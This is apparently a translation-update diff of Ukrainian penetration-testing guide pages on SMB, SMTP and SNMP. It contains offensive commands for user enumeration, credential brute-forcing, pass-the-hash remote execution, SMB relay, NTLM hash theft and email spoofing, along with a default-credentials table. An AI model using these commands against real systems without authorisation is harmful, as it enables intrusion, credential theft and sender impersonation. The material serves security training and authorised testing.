У **kali** він знаходиться за адресою /usr/share/doc/python3-impacket/examples/
```bash
@ -442,7 +442,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
- URLOpenStream
- URLOpenBlockingStream
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
Які використовуються деякими браузерами та інструментами (як Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../images/image (93).png>)

View File

@ -4,13 +4,13 @@
## **Порт 139**
_**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмним протоколом, розробленим для забезпечення взаємодії додатків, ПК та робочих станцій у локальній мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та розташування програмних додатків, що працюють у мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
_**Система базового вводу-виводу мережі**_\*\* (NetBIOS)\*\* є програмним протоколом, розробленим для забезпечення взаємодії додатків, ПК та робочих станцій в межах локальної мережі (LAN) з мережевим обладнанням та **сприяння передачі даних через мережу**. Ідентифікація та локалізація програмних додатків, що працюють в мережі NetBIOS, здійснюється через їхні імена NetBIOS, які можуть мати до 16 символів у довжину і часто відрізняються від імені комп'ютера. Сесія NetBIOS між двома додатками ініціюється, коли один додаток (який діє як клієнт) віддає команду "викликати" інший додаток (який діє як сервер), використовуючи **TCP Port 139**.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
## Port 445
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня додатків, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів і полегшення різних форм комунікації між вузлами в мережі.
Технічно, порт 139 називається «NBT over IP», тоді як порт 445 ідентифікується як «SMB over IP». Абревіатура **SMB** означає «**Server Message Blocks**», яка також сучасно відома як **Common Internet File System (CIFS)**. Як протокол мережевого рівня прикладного шару, SMB/CIFS в основному використовується для забезпечення спільного доступу до файлів, принтерів, послідовних портів та полегшення різних форм комунікації між вузлами в мережі.
Наприклад, у контексті Windows підкреслюється, що SMB може працювати безпосередньо через TCP/IP, усуваючи необхідність у NetBIOS через TCP/IP, за допомогою використання порту 445. Навпаки, на різних системах спостерігається використання порту 139, що вказує на те, що SMB виконується разом з NetBIOS через TCP/IP.
```
@ -20,7 +20,7 @@ _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмни
Протокол **Server Message Block (SMB)**, що працює за моделлю **клієнт-сервер**, призначений для регулювання **доступу до файлів**, каталогів та інших мережевих ресурсів, таких як принтери та маршрутизатори. Переважно використовується в серії операційних систем **Windows**, SMB забезпечує зворотну сумісність, дозволяючи пристроям з новішими версіями операційної системи Microsoft безперешкодно взаємодіяти з тими, що працюють на старіших версіях. Крім того, проект **Samba** пропонує безкоштовне програмне забезпечення, що дозволяє реалізувати SMB на системах **Linux** та Unix, тим самим полегшуючи крос-платформену комунікацію через SMB.
Спільні ресурси, що представляють **произвольні частини локальної файлової системи**, можуть надаватися сервером SMB, роблячи ієрархію видимою для клієнта частково **незалежною** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері.
Спільні ресурси, що представляють **произвольні частини локальної файлової системи**, можуть надаватися сервером SMB, роблячи ієрархію видимою для клієнта частково **незалежно** від фактичної структури сервера. **Списки контролю доступу (ACLs)**, які визначають **права доступу**, дозволяють **точний контроль** над дозволами користувачів, включаючи атрибути, такі як **`execute`**, **`read`** та **`full access`**. Ці дозволи можуть бути призначені окремим користувачам або групам, залежно від спільних ресурсів, і відрізняються від локальних дозволів, встановлених на сервері.
### IPC$ Share
@ -30,9 +30,9 @@ _**Network Basic Input Output System**_\*\* (NetBIOS)\*\* є програмни
- Деталі про батьківський домен
- Зведення локальних користувачів та груп
- Інформацію про доступні SMB спільні ресурси
- Діючу політику безпеки системи
- Дієву політику безпеки системи
Ця функціональність є критично важливою для мережевих адміністраторів та фахівців з безпеки для оцінки безпекової позиції служб SMB (Server Message Block) в мережі. `enum4linux` надає всебічний огляд середовища SMB цільової системи, що є необхідним для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
Ця функціональність є критично важливою для мережевих адміністраторів та фахівців з безпеки для оцінки безпекової позиції служб SMB (Server Message Block) в мережі. `enum4linux` надає всебічний огляд середовища SMB цільової системи, що є суттєвим для виявлення потенційних вразливостей та забезпечення належного захисту служб SMB.
```bash
enum4linux -a target_ip
```
@ -85,11 +85,11 @@ searchsploit microsoft smb
| ------------------------- | ----------------------------------------- |
| _(порожньо)_ | _(порожньо)_ |
| гість | _(порожньо)_ |
| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin |
| Адміністратор, admin | _(порожньо)_, пароль, адміністратор, admin |
| arcserve | arcserve, backup |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | пароль, test, lab, demo |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, backup | backupexec, backup, arcada |
| test, lab, demo | пароль, test, lab, demo |
### Брутфорс
@ -121,7 +121,7 @@ rpcclient -U "username%passwd" <IP> #With creds
```
### Перерахунок користувачів, груп та увійшлих користувачів
Цю інформацію вже повинні збирати з enum4linux та enum4linux-ng
Цю інформацію вже слід зібрати з enum4linux та enum4linux-ng
```bash
crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
@ -133,13 +133,13 @@ rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups
```
### Перерахувати локальних користувачів
### Перерахунок локальних користувачів
[Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py)
```bash
lookupsid.py -no-pass hostname.local
```
Однорядковий код
Однорядковий
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Вручну перерахувати спільні ресурси Windows та підключитися до них**
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних спільних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Можливо, вам заборонено відображати будь-які спільні ресурси хост-машини, і коли ви намагаєтеся їх перерахувати, здається, що немає жодних ресурсів для підключення. Тому варто спробувати вручну підключитися до спільного ресурсу. Щоб вручну перерахувати спільні ресурси, ви можете звернути увагу на відповіді, такі як NT_STATUS_ACCESS_DENIED та NT_STATUS_BAD_NETWORK_NAME, використовуючи дійсну сесію (наприклад, нульову сесію або дійсні облікові дані). Це може вказувати на те, чи існує спільний ресурс, і ви не маєте до нього доступу, або спільний ресурс взагалі не існує.
Звичайні імена спільних ресурсів для цілей Windows:
@ -296,7 +296,7 @@ smbclient //<IP>/<share>
- prompt: вимикає запит на імена файлів (за замовчуванням: увімкнено)
- mget: копіює всі файли, що відповідають масці, з хоста на клієнтську машину
(_Інформація з man-сторінки smbclient_)
(_Інформація з manpage smbclient_)
### Пошук спільних папок домену
@ -331,15 +331,15 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
| **Налаштування** | **Опис** |
| --------------------------- | ------------------------------------------------------------------- |
| `browseable = yes` | Дозволити перегляд доступних спільних ресурсів у поточному ресурсі? |
| `read only = no` | Заборонити створення та модифікацію файлів? |
| `read only = no` | Заборонити створення та модифікацію файлів? |
| `writable = yes` | Дозволити користувачам створювати та модифікувати файли? |
| `guest ok = yes` | Дозволити підключення до служби без використання пароля? |
| `guest ok = yes` | Дозволити підключення до служби без використання пароля? |
| `enable privileges = yes` | Враховувати привілеї, призначені конкретному SID? |
| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? |
| `create mask = 0777` | Які дозволи повинні бути призначені новоствореним файлам? |
| `directory mask = 0777` | Які дозволи повинні бути призначені новоствореним каталогам? |
| `logon script = script.sh` | Який скрипт потрібно виконати під час входу користувача? |
| `magic script = script.sh` | Який скрипт повинен бути виконаний, коли скрипт закривається? |
| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? |
| `magic output = script.out` | Де потрібно зберігати вихідні дані магічного скрипта? |
Команда `smbstatus` надає інформацію про **сервер** та про **те, хто підключений**.
@ -393,7 +393,7 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../../windows-hardening/lateral-movement/wmiexec.md)/dcomexec
Сховано виконайте командний оболонку, не торкаючись диска або не запускаючи нову службу, використовуючи DCOM через **порт 135.**\
У **kali** він знаходиться за адресою /usr/share/doc/python3-impacket/examples/
У **kali** він розташований за адресою /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
@ -428,7 +428,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
```
## SMB relay attack
Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації успішна**, ви автоматично потрапите в **системний** **shell**.\
Ця атака використовує набір інструментів Responder для **захоплення SMB аутентифікаційних сесій** в внутрішній мережі та **пересилає** їх на **цільову машину**. Якщо **сесія аутентифікації є успішною**, вона автоматично перенаправить вас у **системний** **shell**.\
[**Більше інформації про цю атаку тут.**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
## SMB-Trap
@ -442,7 +442,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
- URLOpenStream
- URLOpenBlockingStream
Які використовуються деякими браузерами та інструментами (наприклад, Skype)
Які використовуються деякими браузерами та інструментами (як Skype)
![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../../images/image (358).png>)
@ -452,7 +452,7 @@ ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid
## NTLM Theft
Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш можна зламати офлайн або використовувати в [SMB relay attack](#smb-relay-attack).
Схоже на SMB Trapping, розміщення шкідливих файлів на цільовій системі (через SMB, наприклад) може викликати спробу аутентифікації SMB, що дозволяє перехопити хеш NetNTLMv2 за допомогою інструменту, такого як Responder. Хеш потім можна зламати офлайн або використовувати в [SMB relay attack](#smb-relay-attack).
[See: ntlm_theft](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm_theft)

View File

@ -6,7 +6,7 @@
**Протокол простого пересилання пошти (SMTP)** - це протокол, що використовується в рамках TCP/IP для **відправки та отримання електронної пошти**. Через свої обмеження в чергуванні повідомлень на стороні отримувача, SMTP часто використовується разом з **POP3 або IMAP**. Ці додаткові протоколи дозволяють користувачам зберігати повідомлення на серверному поштовому ящику та періодично їх завантажувати.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як **POP3 або IMAP для їх отримання**. На системах на базі Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає POP3-сервер. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
На практиці, звичайно, **електронні поштові програми** використовують **SMTP для відправки електронних листів**, в той час як **POP3 або IMAP для їх отримання**. На системах, що базуються на Unix, **sendmail** виділяється як SMTP-сервер, що найчастіше використовується для електронної пошти. Комерційний пакет, відомий як Sendmail, включає POP3-сервер. Крім того, **Microsoft Exchange** надає SMTP-сервер і пропонує можливість включення підтримки POP3.
**Порт за замовчуванням:** 25,465(ssl),587(ssl)
```
@ -17,7 +17,7 @@ PORT STATE SERVICE REASON VERSION
Якщо у вас є можливість **змусити жертву надіслати вам електронний лист** (наприклад, через контактну форму веб-сторінки), зробіть це, тому що **ви можете дізнатися про внутрішню топологію** жертви, переглянувши заголовки листа.
Ви також можете отримати електронний лист від SMTP сервера, намагаючись **надіслати на цей сервер електронний лист на неіснуючу адресу** (оскільки сервер надішле атакуючому лист NDN). Але переконайтеся, що ви надсилаєте електронний лист з дозволеної адреси (перевірте політику SPF) і що ви можете отримувати повідомлення NDN.
Ви також можете отримати електронний лист від SMTP-сервера, намагаючись **надіслати на цей сервер електронний лист на неіснуючу адресу** (оскільки сервер надішле атакуючому лист NDN). Але переконайтеся, що ви надсилаєте електронний лист з дозволеної адреси (перевірте політику SPF) і що ви можете отримувати повідомлення NDN.
Вам також слід спробувати **надіслати різний вміст, оскільки ви можете знайти більш цікаву інформацію** в заголовках, наприклад: `X-Virus-Scanned: by av.domain.com`\
Вам слід надіслати тестовий файл EICAR.\
@ -150,7 +150,7 @@ Nmap: nmap --script smtp-enum-users <IP>
```
## DSN Reports
**Звіти про статус доставки**: Якщо ви надішлете **електронну пошту** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових служб, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення).
**Звіти про статус доставки**: Якщо ви надішлете **електронну пошту** організації на **недійсну адресу**, організація повідомить, що адреса була недійсною, надіславши **лист назад вам**. **Заголовки** повернутого електронного листа **міститимуть** можливу **чутливу інформацію** (таку як IP-адреса поштових сервісів, які взаємодіяли зі звітами, або інформацію про антивірусне програмне забезпечення).
## [Commands](smtp-commands.md)
@ -234,10 +234,10 @@ smtp-smuggling.md
### SPF
> [!CAUTION]
> SPF [був "декларований" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\
> Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на кшталт `"v=spf1 include:_spf.google.com ~all"`
> SPF [був "декларований застарілим" у 2014 році](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Це означає, що замість створення **TXT запису** в `_spf.domain.com` ви створюєте його в `domain.com`, використовуючи **ту ж синтаксис**.\
> Більше того, для повторного використання попередніх SPF записів досить поширено знайти щось на зразок `"v=spf1 include:_spf.google.com ~all"`
**Sender Policy Framework** (SPF) — це механізм, який дозволяє Mail Transfer Agents (MTAs) перевіряти, чи авторизований хост, що надсилає електронний лист, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності **авторизовані для відправки електронної пошти від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
**Sender Policy Framework** (SPF) — це механізм, який дозволяє Mail Transfer Agents (MTAs) перевіряти, чи має хост, що надсилає електронний лист, право на це, запитуючи список авторизованих поштових серверів, визначених організаціями. Цей список, який вказує IP-адреси/діапазони, домени та інші сутності, **уповноважені надсилати електронну пошту від імені доменного імені**, включає різні "**Механізми**" у SPF записі.
#### Механізми
@ -253,14 +253,14 @@ smtp-smuggling.md
| PTR | Якщо доменне ім'я (PTR запис) для адреси клієнта знаходиться в заданому домені і це доменне ім'я розв'язується до адреси клієнта (попередньо підтверджений зворотний DNS), збігається. Цей механізм не рекомендується і слід уникати, якщо це можливо. |
| EXISTS | Якщо задане доменне ім'я розв'язується до будь-якої адреси, збігається (незалежно від адреси, до якої воно розв'язується). Це рідко використовується. Разом з макромовою SPF пропонує більш складні збіги, такі як DNSBL-запити. |
| INCLUDE | Посилається на політику іншого домену. Якщо політика цього домену проходить, цей механізм проходить. Однак, якщо включена політика не проходить, обробка продовжується. Щоб повністю делегувати політику іншого домену, необхідно використовувати розширення перенаправлення. |
| REDIRECT | <p>Перенаправлення — це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж інфраструктуру електронної пошти.</p><p>Політика SPF домену, вказаного в механізмі перенаправлення, буде використана.</p> |
| REDIRECT | <p>Перенаправлення — це вказівник на інше доменне ім'я, яке містить політику SPF, воно дозволяє кільком доменам ділитися однією і тією ж політикою SPF. Це корисно при роботі з великою кількістю доменів, які ділять одну й ту ж інфраструктуру електронної пошти.</p><p>Політика SPF домену, вказаному в механізмі перенаправлення, буде використана.</p> |
Також можливо визначити **Кваліфікатори**, які вказують **що слід робити, якщо механізм збігається**. За замовчуванням використовується **кваліфікатор "+"** (тому, якщо будь-який механізм збігається, це означає, що це дозволено).\
Зазвичай ви помітите **в кінці кожної політики SPF** щось на кшталт: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
Зазвичай ви помітите **в кінці кожної політики SPF** щось на зразок: **\~all** або **-all**. Це використовується для вказівки, що **якщо відправник не збігається з жодною політикою SPF, ви повинні позначити електронний лист як ненадійний (\~) або відхилити (-) електронний лист.**
#### Кваліфікатори
Кожен механізм у політиці може бути попереджений одним з чотирьох кваліфікаторів для визначення бажаного результату:
Кожен механізм у політиці може бути префіксований одним з чотирьох кваліфікаторів для визначення бажаного результату:
- **`+`**: Відповідає результату PASS. За замовчуванням механізми припускають цей кваліфікатор, що робить `+mx` еквівалентним `mx`.
- **`?`**: Представляє результат NEUTRAL, обробляється аналогічно NONE (без конкретної політики).
@ -294,7 +294,7 @@ _netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:1
DKIM використовується для підписування вихідних електронних листів, що дозволяє їх валідацію зовнішніми агентами передачі пошти (MTA) через отримання публічного ключа домену з DNS. Цей публічний ключ знаходиться в TXT записі домену. Щоб отримати цей ключ, потрібно знати як селектор, так і ім'я домену.
Наприклад, для запиту ключа необхідні ім'я домену та селектор. Ці дані можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Наприклад, щоб запитати ключ, необхідні ім'я домену та селектор. Їх можна знайти в заголовку пошти `DKIM-Signature`, наприклад, `d=gmail.com;s=20120113`.
Команда для отримання цієї інформації може виглядати так:
```bash
@ -304,7 +304,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
```
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
DMARC покращує безпеку електронної пошти, базуючись на протоколах SPF та DKIM. Він визначає політики, які керують поштовими серверами у обробці електронних листів з конкретного домену, включаючи способи вирішення проблем з автентифікацією та куди надсилати звіти про дії з обробки електронної пошти.
DMARC покращує безпеку електронної пошти, спираючись на протоколи SPF та DKIM. Він визначає політики, які керують поштовими серверами у обробці електронних листів з конкретного домену, включаючи способи вирішення проблем з автентифікацією та куди надсилати звіти про дії з обробки електронної пошти.
**Щоб отримати запис DMARC, вам потрібно запитати піддомен \_dmarc**
```bash
@ -327,9 +327,9 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
| v | Версія протоколу | v=DMARC1 |
| pct | Відсоток повідомлень, що підлягають фільтрації | pct=20 |
| ruf | URI для звітів про форензичні звіти | ruf=mailto:authfail@example.com |
| rua | URI для звітів про агреговані звіти | rua=mailto:aggrep@example.com |
| rua | URI для звітів про агреговані дані | rua=mailto:aggrep@example.com |
| p | Політика для організаційного домену | p=quarantine |
| sp | Політика для піддоменів ОД | sp=reject |
| sp | Політика для піддоменів ОД | sp=reject |
| adkim | Режим вирівнювання для DKIM | adkim=s |
| aspf | Режим вирівнювання для SPF | aspf=r |
@ -357,7 +357,7 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
```bash
mynetworks = 0.0.0.0/0
```
Для перевірки, чи є поштовий сервер відкритим релеєм (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування на сервері (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
Для перевірки, чи є поштовий сервер відкритим релеєм (що означає, що він може пересилати електронну пошту з будь-якого зовнішнього джерела), зазвичай використовується інструмент `nmap`. Він включає специфічний скрипт, призначений для тестування цього. Команда для проведення детального сканування сервера (наприклад, з IP 10.10.10.10) на порту 25 за допомогою `nmap` виглядає так:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
```
@ -382,7 +382,7 @@ python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com
python3 magicspoofmail.py -d victim.com -t -e destination@gmail.com --subject TEST --sender administrator@victim.com
```
> [!WARNING]
> Якщо ви отримали будь-яку **помилку при використанні бібліотеки dkim python** під час парсингу ключа, не соромтеся використовувати наступний.\
> Якщо ви отримали будь-яку **помилку при використанні бібліотеки dkim python** для парсингу ключа, не соромтеся використовувати наступний.\
> **ПРИМІТКА**: Це просто брудне рішення для швидких перевірок у випадках, коли з якоїсь причини приватний ключ openssl **не може бути розпарсений dkim**.
>
> ```
@ -496,7 +496,7 @@ s.sendmail(sender, [destination], msg_data)
### Postfix
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містить **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримана користувачем mark.
Зазвичай, якщо встановлено, в `/etc/postfix/master.cf` містяться **скрипти для виконання** коли, наприклад, нова пошта отримується користувачем. Наприклад, рядок `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` означає, що `/etc/postfix/filtering` буде виконано, якщо нова пошта отримана користувачем mark.
Інші конфігураційні файли:
```

View File

@ -2,6 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
## Основна інформація
**SNMP - Simple Network Management Protocol** є протоколом, що використовується для моніторингу різних пристроїв у мережі (таких як маршрутизатори, комутатори, принтери, IoT...).
@ -10,16 +11,16 @@ PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
```
> [!NOTE]
> SNMP також використовує порт **162/UDP** для **трапів**. Це дані **пакети, надіслані з SNMP сервера до клієнта без явного запиту**.
> SNMP також використовує порт **162/UDP** для **трапів**. Це дані **пакети, надіслані з SNMP-сервера до клієнта без явного запиту**.
### MIB
Щоб забезпечити роботу доступу SNMP між виробниками та з різними комбінаціями клієнт-сервер, була створена **База управлінської інформації (MIB)**. MIB є **незалежним форматом для зберігання інформації про пристрої**. MIB - це **текстовий** файл, в якому всі запитувані **об'єкти SNMP** пристрою перераховані в **стандартизованій** ієрархії дерева. Він містить принаймні один `Object Identifier` (`OID`), який, крім необхідної **унікальної адреси** та **імені**, також надає інформацію про тип, права доступу та опис відповідного об'єкта.\
Файли MIB написані в форматі ASCII тексту `Abstract Syntax Notation One` (`ASN.1`). **MIB не містять даних**, але пояснюють **де знайти яку інформацію** і як вона виглядає, які значення повертаються для конкретного OID або який тип даних використовується.
Файли MIB написані в `Abstract Syntax Notation One` (`ASN.1`) у форматі ASCII. **MIB не містять даних**, але пояснюють **де знайти яку інформацію** і як вона виглядає, які значення повертаються для конкретного OID або який тип даних використовується.
### OIDs
**Ідентифікатори об'єктів (OIDs)** відіграють важливу роль. Ці унікальні ідентифікатори призначені для управління об'єктами в **Базі управлінської інформації (MIB)**.
**Ідентифікатори об'єктів (OIDs)** відіграють вирішальну роль. Ці унікальні ідентифікатори призначені для управління об'єктами в **Базі управлінської інформації (MIB)**.
Найвищі рівні ідентифікаторів об'єктів MIB, або OIDs, виділені різним організаціям, що встановлюють стандарти. Саме в цих верхніх рівнях встановлюється структура для глобальних практик управління та стандартів.
@ -27,8 +28,8 @@ PORT STATE SERVICE REASON VERSION
![](<../../images/SNMP_OID_MIB_Tree (1).png>)
Ви можете **перейти** через **дерево OID** з вебу тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Є деякі **відомі OIDs**, такі як ті, що всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
Ви можете **переглядати** через **дерево OID** в Інтернеті тут: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) або **подивитися, що означає OID** (наприклад, `1.3.6.1.2.1.1`), звернувшись до [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Є деякі **відомі OIDs**, такі як ті, що знаходяться всередині [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1), які посилаються на змінні Simple Network Management Protocol (SNMP), визначені в MIB-2. І з **OID, що очікують від цього**, ви можете отримати цікаві дані про хост (дані системи, дані мережі, дані процесів...)
### **Приклад OID**
@ -42,10 +43,10 @@ PORT STATE SERVICE REASON VERSION
- 3 це називається ORG, і воно використовується для вказівки організації, яка виготовила пристрій.
- 6 це dod або Міністерство оборони, яке є організацією, що першою встановила Інтернет.
- 1 це значення Інтернету, що позначає, що всі комунікації відбуватимуться через Інтернет.
- 4 це значення визначає, що цей пристрій виготовлено приватною організацією, а не урядовою.
- 1 це значення позначає, що пристрій виготовлено підприємством або бізнес-структурою.
- 4 це значення визначає, що цей пристрій виготовлений приватною організацією, а не урядовою.
- 1 це значення позначає, що пристрій виготовлений підприємством або бізнес-структурою.
Ці перші шість значень зазвичай однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлено урядом.
Ці перші шість значень зазвичай однакові для всіх пристроїв і надають основну інформацію про них. Ця послідовність чисел буде однаковою для всіх OIDs, за винятком випадків, коли пристрій виготовлений урядом.
Продовжуючи до наступного набору чисел.
@ -67,15 +68,15 @@ PORT STATE SERVICE REASON VERSION
Існує 2 важливі версії SNMP:
- **SNMPv1**: Основна, вона все ще найчастіше використовується, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
- **SNMPv3**: Використовує кращу **автентифікацію** і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але буде набагато важче знайти правильні дані, ніж у SNMPv1 і v2).
- **SNMPv1**: Основна, вона все ще найпоширеніша, **автентифікація базується на рядку** (рядок спільноти), який передається в **звичайному тексті** (вся інформація передається в звичайному тексті). **Версії 2 і 2c** також передають **трафік у звичайному тексті** і використовують **рядок спільноти як автентифікацію**.
- **SNMPv3**: Використовує кращу **форму автентифікації**, і інформація передається **зашифрованою** (може бути виконано **атака методом підбору**, але знайти правильні дані буде набагато важче, ніж у SNMPv1 і v2).
### Рядки спільноти
Як вже згадувалося, **для доступу до інформації, збереженої в MIB, вам потрібно знати рядок спільноти у версіях 1 і 2/2c та облікові дані у версії 3.**\
Існує **2 типи рядків спільноти**:
- **`public`** в основному **тільки для читання** функцій.
- **`public`** в основному **тільки для читання** функції.
- **`private`** **Читання/Запис** в загальному.
Зверніть увагу, що **можливість запису OID залежить від використаного рядка спільноти**, тому **навіть** якщо ви виявите, що використовується "**public**", ви можете мати можливість **записувати деякі значення.** Також можуть існувати об'єкти, які **завжди "тільки для читання".**\
@ -87,11 +88,11 @@ PORT STATE SERVICE REASON VERSION
[З Вікіпедії](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol):
- SNMP агент отримує запити на UDP порт **161**.
- SNMP-агент отримує запити на UDP-порт **161**.
- Менеджер отримує сповіщення ([Traps](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#Trap) та [InformRequests](https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol#InformRequest)) на порт **162**.
- Коли використовується з [Transport Layer Security](https://en.wikipedia.org/wiki/Transport_Layer_Security) або [Datagram Transport Layer Security](https://en.wikipedia.org/wiki/Datagram_Transport_Layer_Security), запити отримуються на порт **10161**, а сповіщення надсилаються на порт **10162**.
## Брутфорс рядка спільноти (v1 та v2c)
## Брутфорс рядка спільноти (v1 і v2c)
